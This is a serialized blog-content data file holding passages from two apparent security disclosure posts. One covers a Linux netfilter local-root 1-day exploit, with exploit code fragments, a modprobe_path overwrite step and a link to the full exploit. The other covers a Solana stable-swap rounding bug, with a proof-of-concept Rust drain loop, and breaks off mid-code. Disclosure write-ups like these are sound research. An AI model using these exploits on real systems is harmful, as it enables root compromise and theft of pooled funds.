for",{"type":24,"tag":271,"props":10258,"children":10259},{"style":288},[10260],{"type":29,"value":1357},{"type":24,"tag":271,"props":10262,"children":10263},{"style":278},[10264],{"type":29,"value":3923},{"type":24,"tag":271,"props":10266,"children":10267},{"style":288},[10268],{"type":29,"value":4162},{"type":24,"tag":271,"props":10270,"children":10271},{"style":624},[10272],{"type":29,"value":762},{"type":24,"tag":271,"props":10274,"children":10275},{"style":477},[10276],{"type":29,"value":767},{"type":24,"tag":271,"props":10278,"children":10279},{"style":288},[10280],{"type":29,"value":796},{"type":24,"tag":271,"props":10282,"children":10283},{"style":624},[10284],{"type":29,"value":801},{"type":24,"tag":271,"props":10286,"children":10287},{"style":288},[10288],{"type":29,"value":10289}," SKBUF_SPRAY; i",{"type":24,"tag":271,"props":10291,"children":10292},{"style":624},[10293],{"type":29,"value":834},{"type":24,"tag":271,"props":10295,"children":10296},{"style":288},[10297],{"type":29,"value":694},{"type":24,"tag":271,"props":10299,"children":10300},{"class":273,"line":4674},[10301],{"type":24,"tag":271,"props":10302,"children":10303},{"style":288},[10304],{"type":29,"value":7545},{"type":24,"tag":271,"props":10306,"children":10307},{"class":273,"line":4683},[10308,10312,10316,10321,10325,10330,10335,10339,10344,10348,10352,10357,10361,10365,10369],{"type":24,"tag":271,"props":10309,"children":10310},{"style":749},[10311],{"type":29,"value":8468},{"type":24,"tag":271,"props":10313,"children":10314},{"style":288},[10315],{"type":29,"value":1357},{"type":24,"tag":271,"props":10317,"children":10318},{"style":598},[10319],{"type":29,"value":10320},"read",{"type":24,"tag":271,"props":10322,"children":10323},{"style":288},[10324],{"type":29,"value":606},{"type":24,"tag":271,"props":10326,"children":10327},{"style":630},[10328],{"type":29,"value":10329},"sock",{"type":24,"tag":271,"props":10331,"children":10332},{"style":288},[10333],{"type":29,"value":10334},"[i][",{"type":24,"tag":271,"props":10336,"children":10337},{"style":477},[10338],{"type":29,"value":156},{"type":24,"tag":271,"props":10340,"children":10341},{"style":288},[10342],{"type":29,"value":10343},"], leak, ",{"type":24,"tag":271,"props":10345,"children":10346},{"style":477},[10347],{"type":29,"value":7807},{"type":24,"tag":271,"props":10349,"children":10350},{"style":624},[10351],{"type":29,"value":819},{"type":24,"tag":271,"props":10353,"children":10354},{"style":477},[10355],{"type":29,"value":10356}," 320",{"type":24,"tag":271,"props":10358,"children":10359},{"style":288},[10360],{"type":29,"value":8823},{"type":24,"tag":271,"props":10362,"children":10363},{"style":624},[10364],{"type":29,"value":801},{"type":24,"tag":271,"props":10366,"children":10367},{"style":477},[10368],{"type":29,"value":767},{"type":24,"tag":271,"props":10370,"children":10371},{"style":288},[10372],{"type":29,"value":694},{"type":24,"tag":271,"props":10374,"children":10375},{"class":273,"line":4691},[10376],{"type":24,"tag":271,"props":10377,"children":10378},{"style":288},[10379],{"type":29,"value":8534},{"type":24,"tag":271,"props":10381,"children":10382},{"class":273,"line":4708},[10383,10388,10392,10397],{"type":24,"tag":271,"props":10384,"children":10385},{"style":598},[10386],{"type":29,"value":10387}," perror",{"type":24,"tag":271,"props":10389,"children":10390},{"style":288},[10391],{"type":29,"value":606},{"type":24,"tag":271,"props":10393,"children":10394},{"style":378},[10395],{"type":29,"value":10396},"\"[-] read(socket)\"",{"type":24,"tag":271,"props":10398,"children":10399},{"style":288},[10400],{"type":29,"value":1155},{"type":24,"tag":271,"props":10402,"children":10403},{"class":273,"line":4716},[10404,10409,10413,10417],{"type":24,"tag":271,"props":10405,"children":10406},{"style":749},[10407],{"type":29,"value":10408}," return",{"type":24,"tag":271,"props":10410,"children":10411},{"style":624},[10412],{"type":29,"value":819},{"type":24,"tag":271,"props":10414,"children":10415},{"style":477},[10416],{"type":29,"value":156},{"type":24,"tag":271,"props":10418,"children":10419},{"style":288},[10420],{"type":29,"value":1069},{"type":24,"tag":271,"props":10422,"children":10424},{"class":273,"line":10423},46,[10425],{"type":24,"tag":271,"props":10426,"children":10427},{"style":288},[10428],{"type":29,"value":8554},{"type":24,"tag":271,"props":10430,"children":10432},{"class":273,"line":10431},47,[10433],{"type":24,"tag":271,"props":10434,"children":10435},{"style":288},[10436],{"type":29,"value":7574},{"type":24,"tag":271,"props":10438,"children":10440},{"class":273,"line":10439},48,[10441],{"type":24,"tag":271,"props":10442,"children":10443},{"style":288},[10444],{"type":29,"value":4385},{"type":24,"tag":271,"props":10446,"children":10448},{"class":273,"line":10447},49,[10449,10453,10457,10462],{"type":24,"tag":271,"props":10450,"children":10451},{"style":598},[10452],{"type":29,"value":5151},{"type":24,"tag":271,"props":10454,"children":10455},{"style":288},[10456],{"type":29,"value":606},{"type":24,"tag":271,"props":10458,"children":10459},{"style":378},[10460],{"type":29,"value":10461},"\"[-] fake modprobe failed\"",{"type":24,"tag":271,"props":10463,"children":10464},{"style":288},[10465],{"type":29,"value":1155},{"type":24,"tag":271,"props":10467,"children":10469},{"class":273,"line":10468},50,[10470],{"type":24,"tag":271,"props":10471,"children":10472},{"style":288},[10473],{"type":29,"value":1690},{"type":24,"tag":25,"props":10475,"children":10476},{},[10477,10479,10486],{"type":29,"value":10478},"This trick has already been throughly detailed by ",{"type":24,"tag":32,"props":10480,"children":10483},{"href":10481,"rel":10482},"https://pwning.tech/nftables/#28-overwriting-modprobepath",[36],[10484],{"type":29,"value":10485},"lau",{"type":29,"value":10487},", so we won't go much more into it.",{"type":24,"tag":85,"props":10489,"children":10491},{"id":10490},"universal-exploit-demo",[10492],{"type":29,"value":10493},"Universal exploit demo",{"type":24,"tag":25,"props":10495,"children":10496},{},[10497,10499,10505],{"type":29,"value":10498},"{%youtube tjbp4Mtfo8w %}\nYou can find the complete universal exploit in our ",{"type":24,"tag":32,"props":10500,"children":10503},{"href":10501,"rel":10502},"https://github.com/otter-sec/OtterRoot/blob/master/universal/exploit.c",[36],[10504],{"type":29,"value":7067},{"type":29,"value":41},{"type":24,"tag":62,"props":10507,"children":10509},{"id":10508},"disclosure-timeline",[10510],{"type":29,"value":10511},"Disclosure Timeline",{"type":24,"tag":97,"props":10513,"children":10514},{},[10515,10520,10525,10530,10535],{"type":24,"tag":101,"props":10516,"children":10517},{},[10518],{"type":29,"value":10519},"March 21st -- Patch made public",{"type":24,"tag":101,"props":10521,"children":10522},{},[10523],{"type":29,"value":10524},"March 23rd -- Scrolled through commits and found the bug fix.",{"type":24,"tag":101,"props":10526,"children":10527},{},[10528],{"type":29,"value":10529},"March 24th -- Wrote KernelCTF exploit",{"type":24,"tag":101,"props":10531,"children":10532},{},[10533],{"type":29,"value":10534},"March 26th -- Wrote Universal exploit",{"type":24,"tag":101,"props":10536,"children":10537},{},[10538],{"type":29,"value":10539},"May 23rd -- Patch landed on Ubuntu and Debian",{"type":24,"tag":25,"props":10541,"children":10542},{},[10543],{"type":29,"value":10544},"Note that the universal exploit was alive for roughly 2 months against popular distros.",{"type":24,"tag":62,"props":10546,"children":10548},{"id":10547},"conclusion",[10549],{"type":29,"value":10550},"Conclusion",{"type":24,"tag":25,"props":10552,"children":10553},{},[10554],{"type":29,"value":10555},"In this post, I have discussed how a bug fixed by a commit freshly made public can be used to exploit the latest stable releases of the kernel and maintain 0day-like primitives for an extended period. I've also discussed two different paths to exploit the vulnerability: one that I used to exploit the KernelCTF instance and retrieve the flag and a second one that I used to craft a universal exploit binary that works stably in all tested targets without needing to be adapted or even recompiled.",{"type":24,"tag":25,"props":10557,"children":10558},{},[10559],{"type":29,"value":10560},"What we have observed is not novel; despite the efforts and progress made by the Linux community to improve kernel security, it's been made evident that the supply of exploitable bugs is still virtually unlimited and that the open-source patch gap is long enough to maintain capabilities that are live.",{"type":24,"tag":10562,"props":10563,"children":10564},"style",{},[10565],{"type":29,"value":10566},"html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}",{"title":7,"searchDepth":284,"depth":284,"links":10568},[10569,10572,10575,10578,10579,10589,10597,10598],{"id":64,"depth":284,"text":67,"children":10570},[10571],{"id":87,"depth":294,"text":90},{"id":132,"depth":284,"text":132,"children":10573},[10574],{"id":183,"depth":294,"text":186},{"id":242,"depth":284,"text":245,"children":10576},[10577],{"id":1480,"depth":294,"text":1483},{"id":3378,"depth":284,"text":3381},{"id":3781,"depth":284,"text":3784,"children":10580},[10581,10582,10583,10585,10586,10587,10588],{"id":3808,"depth":294,"text":3811},{"id":4724,"depth":294,"text":4727},{"id":5315,"depth":294,"text":10584},"Leaking self pointer of nft_object",{"id":5717,"depth":294,"text":5720},{"id":6233,"depth":294,"text":6236},{"id":6364,"depth":294,"text":6019},{"id":7048,"depth":294,"text":7051},{"id":7071,"depth":284,"text":7074,"children":10590},[10591,10592,10593,10594,10596],{"id":7082,"depth":294,"text":7085},{"id":7947,"depth":294,"text":7950},{"id":8024,"depth":294,"text":8027},{"id":9665,"depth":294,"text":10595},"Overwriting modprobe_path",{"id":10490,"depth":294,"text":10493},{"id":10508,"depth":284,"text":10511},{"id":10547,"depth":284,"text":10550},"markdown","content:blog:2024-11-25-netfilter-universal-root-1-day.md","content","blog/2024-11-25-netfilter-universal-root-1-day.md","blog/2024-11-25-netfilter-universal-root-1-day","md",[10606,13097,13434,16968,21316,26437,36679,38108,38870,43089,48113,53541,54697,58182,67699,74428,76267,77977,82642,96541,99262,104051,106491,108836,114622,130442,138742,148666,153944,163337,165674],{"_path":10607,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":10608,"description":10609,"image":10610,"date":10614,"isFeatured":16,"tags":10615,"onBlogPage":16,"body":10618,"_type":10599,"_id":13094,"_source":10601,"_file":13095,"_stem":13096,"_extension":10604},"/blog/2022-04-26-spl-swap-rounding","Becoming a Millionaire, 0.000150 BTC at a Time","How we discovered a critical issue in Solana's stable swap implementation. A story about arbitrage and rounding.",{"src":10611,"width":10612,"height":10613},"/posts/spl-swap/title.jpg",600,368,"2022-04-26",[10616,10617],"solana","report",{"type":21,"children":10619,"toc":13088},[10620,10634,10639,10644,10653,10659,10664,10669,10678,10686,10691,10696,10704,10709,10714,11083,11093,11098,11622,11627,11635,11642,11648,11653,11658,11663,11670,11682,11687,11699,11935,11940,11945,11950,11955,11960,12005,12010,12018,12023,12028,12033,12176,12189,12304,12318,12326,12340,12348,12361,12366,12378,12386,12408,13026,13032,13037,13049,13062,13069,13074,13079,13084],{"type":24,"tag":25,"props":10621,"children":10622},{},[10623,10625,10632],{"type":29,"value":10624},"We discovered a critical rounding issue in the Solana Program Library's implementation of stable swap, ",{"type":24,"tag":32,"props":10626,"children":10629},{"href":10627,"rel":10628},"https://github.com/solana-labs/solana-program-library/tree/master/token-swap/program",[36],[10630],{"type":29,"value":10631},"spl-token-swap",{"type":29,"value":10633},". Similar to Neodyme's spl-token-lending exploit, we were able to extract a single token per instruction. This exceeds the value of the 5000 lamport transaction fee on BTC stable swaps, allowing an attacker to profitably drain funds.",{"type":24,"tag":25,"props":10635,"children":10636},{},[10637],{"type":29,"value":10638},"Such BTC stable swaps had over 74 million in combined value. The total value of stable swaps impacted exceed 700 million.",{"type":24,"tag":25,"props":10640,"children":10641},{},[10642],{"type":29,"value":10643},"We would also like to thank the Saber team for their fast triage and remediation.",{"type":24,"tag":25,"props":10645,"children":10646},{},[10647],{"type":24,"tag":10648,"props":10649,"children":10650},"em",{},[10651],{"type":29,"value":10652},"Rounding bugs are an increasingly common vulnerability class, enabled by low transaction costs",{"type":24,"tag":62,"props":10654,"children":10656},{"id":10655},"discovery",[10657],{"type":29,"value":10658},"Discovery",{"type":24,"tag":25,"props":10660,"children":10661},{},[10662],{"type":29,"value":10663},"Parth, one of our researchers, was implementing a graph search for our arbitrage bot to calculate the price of any token relative to SOL.",{"type":24,"tag":25,"props":10665,"children":10666},{},[10667],{"type":29,"value":10668},"After a while, he noticed something weird..",{"type":24,"tag":10670,"props":10671,"children":10672},"blockquote",{},[10673],{"type":24,"tag":25,"props":10674,"children":10675},{},[10676],{"type":29,"value":10677},"so either my graph search is wrong\nor its possible to get a ton of money out of nothing",{"type":24,"tag":261,"props":10679,"children":10681},{"code":10680},"KwnjUuZ : 0 9vMJfxu -> 1 EPjFWdd\nKwnjUuZ : 1 EPjFWdd -> 2 9vMJfxu\nKwnjUuZ : 2 9vMJfxu -> 3 EPjFWdd\nHU1tejU : 3 EPjFWdd -> 625 PRT88Rk\n24ZbKS3 : 625 PRT88Rk -> 7 EPjFWdd\n3oRPcFa : 7 EPjFWdd -> 6 BQcdHdA\n",[10682],{"type":24,"tag":135,"props":10683,"children":10684},{"__ignoreMap":7},[10685],{"type":29,"value":10680},{"type":24,"tag":25,"props":10687,"children":10688},{},[10689],{"type":29,"value":10690},"Somehow, we were getting tokens from nothing?",{"type":24,"tag":25,"props":10692,"children":10693},{},[10694],{"type":29,"value":10695},"After taking a look at the pairs on which this was occuring, we quickly realized that only stable swap pairs were impacted.",{"type":24,"tag":261,"props":10697,"children":10699},{"code":10698},"KwnjUuZhTMTSGAaavkLEmSyfobY16JNH4poL9oeeEvE\nHU1tejUtt7AZYrC9SAuqCW9MpuSqsdoedHSb1XUKjUPN\n24ZbKS36rkPv14Tdx8qv4NRyqatTaJ5KgJrT1LxBKn5d\n3oRPcFaRHvv9pPR6nRasigVDkm3k9kTjdfjxUpgLV5Pq\n",[10700],{"type":24,"tag":135,"props":10701,"children":10702},{"__ignoreMap":7},[10703],{"type":29,"value":10698},{"type":24,"tag":25,"props":10705,"children":10706},{},[10707],{"type":29,"value":10708},"This seemed suspicious. Perhaps it had something to do with the stable swap math?",{"type":24,"tag":25,"props":10710,"children":10711},{},[10712],{"type":29,"value":10713},"It was also weird how we could only ever get at most one extra token. As usual, the best way to answer such questions is to read the code. We dived into the stable swap Solana implementation to look for a possible root cause.",{"type":24,"tag":261,"props":10715,"children":10719},{"code":10716,"language":10717,"meta":7,"className":10718,"style":7}," // Solve for y by approximating: y**2 + b*y = c\n let mut y = d_val;\n for _ in 0..ITERATIONS {\n let (y_new, _) = (checked_u8_power(&y, 2)?.checked_add(c)?)\n .checked_ceil_div(checked_u8_mul(&y, 2)?.checked_add(b)?.checked_sub(d_val)?)?;\n if y_new == y {\n break;\n } else {\n y = y_new;\n }\n }\n","rust","language-rust shiki shiki-themes slack-dark",[10720],{"type":24,"tag":135,"props":10721,"children":10722},{"__ignoreMap":7},[10723,10731,10762,10793,10892,10997,11021,11032,11049,11069,11076],{"type":24,"tag":271,"props":10724,"children":10725},{"class":273,"line":274},[10726],{"type":24,"tag":271,"props":10727,"children":10728},{"style":2058},[10729],{"type":29,"value":10730}," // Solve for y by approximating: y**2 + b*y = c\n",{"type":24,"tag":271,"props":10732,"children":10733},{"class":273,"line":284},[10734,10739,10744,10749,10753,10758],{"type":24,"tag":271,"props":10735,"children":10736},{"style":278},[10737],{"type":29,"value":10738}," let",{"type":24,"tag":271,"props":10740,"children":10741},{"style":278},[10742],{"type":29,"value":10743}," mut",{"type":24,"tag":271,"props":10745,"children":10746},{"style":630},[10747],{"type":29,"value":10748}," y",{"type":24,"tag":271,"props":10750,"children":10751},{"style":624},[10752],{"type":29,"value":1712},{"type":24,"tag":271,"props":10754,"children":10755},{"style":630},[10756],{"type":29,"value":10757}," d_val",{"type":24,"tag":271,"props":10759,"children":10760},{"style":288},[10761],{"type":29,"value":1069},{"type":24,"tag":271,"props":10763,"children":10764},{"class":273,"line":294},[10765,10769,10774,10779,10783,10788],{"type":24,"tag":271,"props":10766,"children":10767},{"style":749},[10768],{"type":29,"value":4149},{"type":24,"tag":271,"props":10770,"children":10771},{"style":630},[10772],{"type":29,"value":10773}," _",{"type":24,"tag":271,"props":10775,"children":10776},{"style":278},[10777],{"type":29,"value":10778}," in",{"type":24,"tag":271,"props":10780,"children":10781},{"style":477},[10782],{"type":29,"value":767},{"type":24,"tag":271,"props":10784,"children":10785},{"style":624},[10786],{"type":29,"value":10787},"..",{"type":24,"tag":271,"props":10789,"children":10790},{"style":288},[10791],{"type":29,"value":10792},"ITERATIONS {\n",{"type":24,"tag":271,"props":10794,"children":10795},{"class":273,"line":303},[10796,10801,10805,10810,10814,10819,10823,10827,10831,10836,10840,10844,10849,10853,10857,10861,10866,10871,10875,10879,10883,10888],{"type":24,"tag":271,"props":10797,"children":10798},{"style":278},[10799],{"type":29,"value":10800}," let",{"type":24,"tag":271,"props":10802,"children":10803},{"style":288},[10804],{"type":29,"value":1357},{"type":24,"tag":271,"props":10806,"children":10807},{"style":630},[10808],{"type":29,"value":10809},"y_new",{"type":24,"tag":271,"props":10811,"children":10812},{"style":288},[10813],{"type":29,"value":158},{"type":24,"tag":271,"props":10815,"children":10816},{"style":630},[10817],{"type":29,"value":10818},"_",{"type":24,"tag":271,"props":10820,"children":10821},{"style":288},[10822],{"type":29,"value":8823},{"type":24,"tag":271,"props":10824,"children":10825},{"style":624},[10826],{"type":29,"value":762},{"type":24,"tag":271,"props":10828,"children":10829},{"style":288},[10830],{"type":29,"value":1357},{"type":24,"tag":271,"props":10832,"children":10833},{"style":598},[10834],{"type":29,"value":10835},"checked_u8_power",{"type":24,"tag":271,"props":10837,"children":10838},{"style":288},[10839],{"type":29,"value":606},{"type":24,"tag":271,"props":10841,"children":10842},{"style":624},[10843],{"type":29,"value":1137},{"type":24,"tag":271,"props":10845,"children":10846},{"style":630},[10847],{"type":29,"value":10848},"y",{"type":24,"tag":271,"props":10850,"children":10851},{"style":288},[10852],{"type":29,"value":158},{"type":24,"tag":271,"props":10854,"children":10855},{"style":477},[10856],{"type":29,"value":165},{"type":24,"tag":271,"props":10858,"children":10859},{"style":288},[10860],{"type":29,"value":2693},{"type":24,"tag":271,"props":10862,"children":10863},{"style":624},[10864],{"type":29,"value":10865},"?.",{"type":24,"tag":271,"props":10867,"children":10868},{"style":598},[10869],{"type":29,"value":10870},"checked_add",{"type":24,"tag":271,"props":10872,"children":10873},{"style":288},[10874],{"type":29,"value":606},{"type":24,"tag":271,"props":10876,"children":10877},{"style":630},[10878],{"type":29,"value":578},{"type":24,"tag":271,"props":10880,"children":10881},{"style":288},[10882],{"type":29,"value":2693},{"type":24,"tag":271,"props":10884,"children":10885},{"style":624},[10886],{"type":29,"value":10887},"?",{"type":24,"tag":271,"props":10889,"children":10890},{"style":288},[10891],{"type":29,"value":694},{"type":24,"tag":271,"props":10893,"children":10894},{"class":273,"line":312},[10895,10900,10905,10909,10914,10918,10922,10926,10930,10934,10938,10942,10946,10950,10955,10959,10963,10968,10972,10977,10981,10985,10989,10993],{"type":24,"tag":271,"props":10896,"children":10897},{"style":624},[10898],{"type":29,"value":10899}," .",{"type":24,"tag":271,"props":10901,"children":10902},{"style":598},[10903],{"type":29,"value":10904},"checked_ceil_div",{"type":24,"tag":271,"props":10906,"children":10907},{"style":288},[10908],{"type":29,"value":606},{"type":24,"tag":271,"props":10910,"children":10911},{"style":598},[10912],{"type":29,"value":10913},"checked_u8_mul",{"type":24,"tag":271,"props":10915,"children":10916},{"style":288},[10917],{"type":29,"value":606},{"type":24,"tag":271,"props":10919,"children":10920},{"style":624},[10921],{"type":29,"value":1137},{"type":24,"tag":271,"props":10923,"children":10924},{"style":630},[10925],{"type":29,"value":10848},{"type":24,"tag":271,"props":10927,"children":10928},{"style":288},[10929],{"type":29,"value":158},{"type":24,"tag":271,"props":10931,"children":10932},{"style":477},[10933],{"type":29,"value":165},{"type":24,"tag":271,"props":10935,"children":10936},{"style":288},[10937],{"type":29,"value":2693},{"type":24,"tag":271,"props":10939,"children":10940},{"style":624},[10941],{"type":29,"value":10865},{"type":24,"tag":271,"props":10943,"children":10944},{"style":598},[10945],{"type":29,"value":10870},{"type":24,"tag":271,"props":10947,"children":10948},{"style":288},[10949],{"type":29,"value":606},{"type":24,"tag":271,"props":10951,"children":10952},{"style":630},[10953],{"type":29,"value":10954},"b",{"type":24,"tag":271,"props":10956,"children":10957},{"style":288},[10958],{"type":29,"value":2693},{"type":24,"tag":271,"props":10960,"children":10961},{"style":624},[10962],{"type":29,"value":10865},{"type":24,"tag":271,"props":10964,"children":10965},{"style":598},[10966],{"type":29,"value":10967},"checked_sub",{"type":24,"tag":271,"props":10969,"children":10970},{"style":288},[10971],{"type":29,"value":606},{"type":24,"tag":271,"props":10973,"children":10974},{"style":630},[10975],{"type":29,"value":10976},"d_val",{"type":24,"tag":271,"props":10978,"children":10979},{"style":288},[10980],{"type":29,"value":2693},{"type":24,"tag":271,"props":10982,"children":10983},{"style":624},[10984],{"type":29,"value":10887},{"type":24,"tag":271,"props":10986,"children":10987},{"style":288},[10988],{"type":29,"value":2693},{"type":24,"tag":271,"props":10990,"children":10991},{"style":624},[10992],{"type":29,"value":10887},{"type":24,"tag":271,"props":10994,"children":10995},{"style":288},[10996],{"type":29,"value":1069},{"type":24,"tag":271,"props":10998,"children":10999},{"class":273,"line":321},[11000,11004,11009,11013,11017],{"type":24,"tag":271,"props":11001,"children":11002},{"style":749},[11003],{"type":29,"value":7512},{"type":24,"tag":271,"props":11005,"children":11006},{"style":630},[11007],{"type":29,"value":11008}," y_new",{"type":24,"tag":271,"props":11010,"children":11011},{"style":624},[11012],{"type":29,"value":1031},{"type":24,"tag":271,"props":11014,"children":11015},{"style":630},[11016],{"type":29,"value":10748},{"type":24,"tag":271,"props":11018,"children":11019},{"style":288},[11020],{"type":29,"value":7145},{"type":24,"tag":271,"props":11022,"children":11023},{"class":273,"line":330},[11024,11028],{"type":24,"tag":271,"props":11025,"children":11026},{"style":749},[11027],{"type":29,"value":10147},{"type":24,"tag":271,"props":11029,"children":11030},{"style":288},[11031],{"type":29,"value":1069},{"type":24,"tag":271,"props":11033,"children":11034},{"class":273,"line":339},[11035,11040,11045],{"type":24,"tag":271,"props":11036,"children":11037},{"style":288},[11038],{"type":29,"value":11039}," } ",{"type":24,"tag":271,"props":11041,"children":11042},{"style":749},[11043],{"type":29,"value":11044},"else",{"type":24,"tag":271,"props":11046,"children":11047},{"style":288},[11048],{"type":29,"value":7145},{"type":24,"tag":271,"props":11050,"children":11051},{"class":273,"line":347},[11052,11057,11061,11065],{"type":24,"tag":271,"props":11053,"children":11054},{"style":630},[11055],{"type":29,"value":11056}," y",{"type":24,"tag":271,"props":11058,"children":11059},{"style":624},[11060],{"type":29,"value":1712},{"type":24,"tag":271,"props":11062,"children":11063},{"style":630},[11064],{"type":29,"value":11008},{"type":24,"tag":271,"props":11066,"children":11067},{"style":288},[11068],{"type":29,"value":1069},{"type":24,"tag":271,"props":11070,"children":11071},{"class":273,"line":356},[11072],{"type":24,"tag":271,"props":11073,"children":11074},{"style":288},[11075],{"type":29,"value":7574},{"type":24,"tag":271,"props":11077,"children":11078},{"class":273,"line":365},[11079],{"type":24,"tag":271,"props":11080,"children":11081},{"style":288},[11082],{"type":29,"value":4385},{"type":24,"tag":25,"props":11084,"children":11085},{},[11086,11091],{"type":24,"tag":10648,"props":11087,"children":11088},{},[11089],{"type":29,"value":11090},"approximate",{"type":29,"value":11092},". Looks suspicious.. Perhaps we really did find a bug in the Solana Program Library?",{"type":24,"tag":25,"props":11094,"children":11095},{},[11096],{"type":29,"value":11097},"With this promising find in mind, we decided to throw together a quick proof of concept. To do this, we attempted to swap very small amounts of tokens back and forth between sBTC and renBTC.",{"type":24,"tag":261,"props":11099,"children":11101},{"code":11100,"language":10717,"meta":7,"className":10718,"style":7},"// from sbtc to renbtc\nfor i in 0 .. 50u8 {\n // create swap transaction\n let mut swap_instruction = swap(\n &spl_token::id(),\n &swap_pubkey,\n &swap_authority_pubkey,\n &test_account_signer.pubkey(),\n &sbtc_user_account,\n &sbtc_reserve,\n &renbtc_reserve,\n &renbtc_user_account,\n &admin_fee_account_sbtc_to_ren,\n 1,\n 2\n ).unwrap();\n\n // nonce\n swap_instruction.data.append(&mut vec![i, extranonce]);\n\n let mut instructions = vec![];\n\n instructions.push(swap_instruction);\n\n env.execute_as_transaction(&instructions, &vec![&test_account_signer]);\n}\n",[11102],{"type":24,"tag":135,"props":11103,"children":11104},{"__ignoreMap":7},[11105,11113,11153,11161,11190,11218,11234,11250,11275,11291,11307,11323,11339,11355,11367,11375,11396,11403,11411,11476,11483,11512,11519,11549,11556,11615],{"type":24,"tag":271,"props":11106,"children":11107},{"class":273,"line":274},[11108],{"type":24,"tag":271,"props":11109,"children":11110},{"style":2058},[11111],{"type":29,"value":11112},"// from sbtc to renbtc\n",{"type":24,"tag":271,"props":11114,"children":11115},{"class":273,"line":284},[11116,11121,11126,11130,11134,11139,11144,11149],{"type":24,"tag":271,"props":11117,"children":11118},{"style":749},[11119],{"type":29,"value":11120},"for",{"type":24,"tag":271,"props":11122,"children":11123},{"style":630},[11124],{"type":29,"value":11125}," i",{"type":24,"tag":271,"props":11127,"children":11128},{"style":278},[11129],{"type":29,"value":10778},{"type":24,"tag":271,"props":11131,"children":11132},{"style":477},[11133],{"type":29,"value":767},{"type":24,"tag":271,"props":11135,"children":11136},{"style":624},[11137],{"type":29,"value":11138}," ..",{"type":24,"tag":271,"props":11140,"children":11141},{"style":477},[11142],{"type":29,"value":11143}," 50",{"type":24,"tag":271,"props":11145,"children":11146},{"style":3887},[11147],{"type":29,"value":11148},"u8",{"type":24,"tag":271,"props":11150,"children":11151},{"style":288},[11152],{"type":29,"value":7145},{"type":24,"tag":271,"props":11154,"children":11155},{"class":273,"line":294},[11156],{"type":24,"tag":271,"props":11157,"children":11158},{"style":2058},[11159],{"type":29,"value":11160}," // create swap transaction\n",{"type":24,"tag":271,"props":11162,"children":11163},{"class":273,"line":303},[11164,11168,11172,11177,11181,11186],{"type":24,"tag":271,"props":11165,"children":11166},{"style":278},[11167],{"type":29,"value":10738},{"type":24,"tag":271,"props":11169,"children":11170},{"style":278},[11171],{"type":29,"value":10743},{"type":24,"tag":271,"props":11173,"children":11174},{"style":630},[11175],{"type":29,"value":11176}," swap_instruction",{"type":24,"tag":271,"props":11178,"children":11179},{"style":624},[11180],{"type":29,"value":1712},{"type":24,"tag":271,"props":11182,"children":11183},{"style":598},[11184],{"type":29,"value":11185}," swap",{"type":24,"tag":271,"props":11187,"children":11188},{"style":288},[11189],{"type":29,"value":4028},{"type":24,"tag":271,"props":11191,"children":11192},{"class":273,"line":312},[11193,11198,11203,11208,11213],{"type":24,"tag":271,"props":11194,"children":11195},{"style":624},[11196],{"type":29,"value":11197}," &",{"type":24,"tag":271,"props":11199,"children":11200},{"style":288},[11201],{"type":29,"value":11202},"spl_token",{"type":24,"tag":271,"props":11204,"children":11205},{"style":624},[11206],{"type":29,"value":11207},"::",{"type":24,"tag":271,"props":11209,"children":11210},{"style":598},[11211],{"type":29,"value":11212},"id",{"type":24,"tag":271,"props":11214,"children":11215},{"style":288},[11216],{"type":29,"value":11217},"(),\n",{"type":24,"tag":271,"props":11219,"children":11220},{"class":273,"line":321},[11221,11225,11230],{"type":24,"tag":271,"props":11222,"children":11223},{"style":624},[11224],{"type":29,"value":11197},{"type":24,"tag":271,"props":11226,"children":11227},{"style":630},[11228],{"type":29,"value":11229},"swap_pubkey",{"type":24,"tag":271,"props":11231,"children":11232},{"style":288},[11233],{"type":29,"value":638},{"type":24,"tag":271,"props":11235,"children":11236},{"class":273,"line":330},[11237,11241,11246],{"type":24,"tag":271,"props":11238,"children":11239},{"style":624},[11240],{"type":29,"value":11197},{"type":24,"tag":271,"props":11242,"children":11243},{"style":630},[11244],{"type":29,"value":11245},"swap_authority_pubkey",{"type":24,"tag":271,"props":11247,"children":11248},{"style":288},[11249],{"type":29,"value":638},{"type":24,"tag":271,"props":11251,"children":11252},{"class":273,"line":339},[11253,11257,11262,11266,11271],{"type":24,"tag":271,"props":11254,"children":11255},{"style":624},[11256],{"type":29,"value":11197},{"type":24,"tag":271,"props":11258,"children":11259},{"style":630},[11260],{"type":29,"value":11261},"test_account_signer",{"type":24,"tag":271,"props":11263,"children":11264},{"style":624},[11265],{"type":29,"value":41},{"type":24,"tag":271,"props":11267,"children":11268},{"style":598},[11269],{"type":29,"value":11270},"pubkey",{"type":24,"tag":271,"props":11272,"children":11273},{"style":288},[11274],{"type":29,"value":11217},{"type":24,"tag":271,"props":11276,"children":11277},{"class":273,"line":347},[11278,11282,11287],{"type":24,"tag":271,"props":11279,"children":11280},{"style":624},[11281],{"type":29,"value":11197},{"type":24,"tag":271,"props":11283,"children":11284},{"style":630},[11285],{"type":29,"value":11286},"sbtc_user_account",{"type":24,"tag":271,"props":11288,"children":11289},{"style":288},[11290],{"type":29,"value":638},{"type":24,"tag":271,"props":11292,"children":11293},{"class":273,"line":356},[11294,11298,11303],{"type":24,"tag":271,"props":11295,"children":11296},{"style":624},[11297],{"type":29,"value":11197},{"type":24,"tag":271,"props":11299,"children":11300},{"style":630},[11301],{"type":29,"value":11302},"sbtc_reserve",{"type":24,"tag":271,"props":11304,"children":11305},{"style":288},[11306],{"type":29,"value":638},{"type":24,"tag":271,"props":11308,"children":11309},{"class":273,"line":365},[11310,11314,11319],{"type":24,"tag":271,"props":11311,"children":11312},{"style":624},[11313],{"type":29,"value":11197},{"type":24,"tag":271,"props":11315,"children":11316},{"style":630},[11317],{"type":29,"value":11318},"renbtc_reserve",{"type":24,"tag":271,"props":11320,"children":11321},{"style":288},[11322],{"type":29,"value":638},{"type":24,"tag":271,"props":11324,"children":11325},{"class":273,"line":374},[11326,11330,11335],{"type":24,"tag":271,"props":11327,"children":11328},{"style":624},[11329],{"type":29,"value":11197},{"type":24,"tag":271,"props":11331,"children":11332},{"style":630},[11333],{"type":29,"value":11334},"renbtc_user_account",{"type":24,"tag":271,"props":11336,"children":11337},{"style":288},[11338],{"type":29,"valu